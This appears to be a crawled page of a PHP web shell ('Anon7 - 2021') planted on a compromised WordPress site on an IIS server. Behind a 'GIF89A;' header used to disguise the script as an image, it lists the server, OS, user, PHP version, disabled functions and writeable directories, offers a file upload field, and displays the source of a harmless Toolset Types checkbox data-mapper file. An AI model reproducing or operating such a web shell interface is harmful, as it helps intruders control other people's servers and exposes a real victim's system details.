GIF89A; .
KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Microsoft-IIS/10.0
System : Windows NT HMW9050 6.2 build 9200 (Unknow Windows version Standard Edition) i586
User : fatorc ( 0)
PHP Version : 5.3.28
Disable Function : escapeshellarg, escapeshellcmd, exec, passthru, proc_close, proc_open, shell_exec, system, dl, popen, php_check_syntax, php_strip_whitespace, symlink, link, openlog, apache_child_terminate
Directory :  e:/home/fatorc/Web/wp-content/plugins/types/library/toolset/types/embedded/classes/field/datamapper/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : e:/home/fatorc/Web/wp-content/plugins/types/library/toolset/types/embedded/classes/field/datamapper/checkbox.php
<?php

/**
 * Data mapper for a checkbox field.
 *
 * @since 1.9
 */
class WPCF_Field_DataMapper_Checkbox extends WPCF_Field_DataMapper_Abstract {


	/**
	 * If this is a checkbox field that is not set, we will set the value manually to false.
	 *
	 * @param mixed $post_value
	 * @param array $form_data
	 *
	 * @return bool|mixed
	 */
	public function post_to_intermediate( $post_value, $form_data ) {
		if( ! array_key_exists( $this->field_definition->get_slug(), $form_data ) ) {
			// save 0 when option "When unchecked, save 0 to the database" is selected
			$value = $this->field_definition->get_should_save_empty_value() ? 0 : false;
		} else {
			$value = $post_value;
		}
		return $value;
	}
}

Anon7 - 2021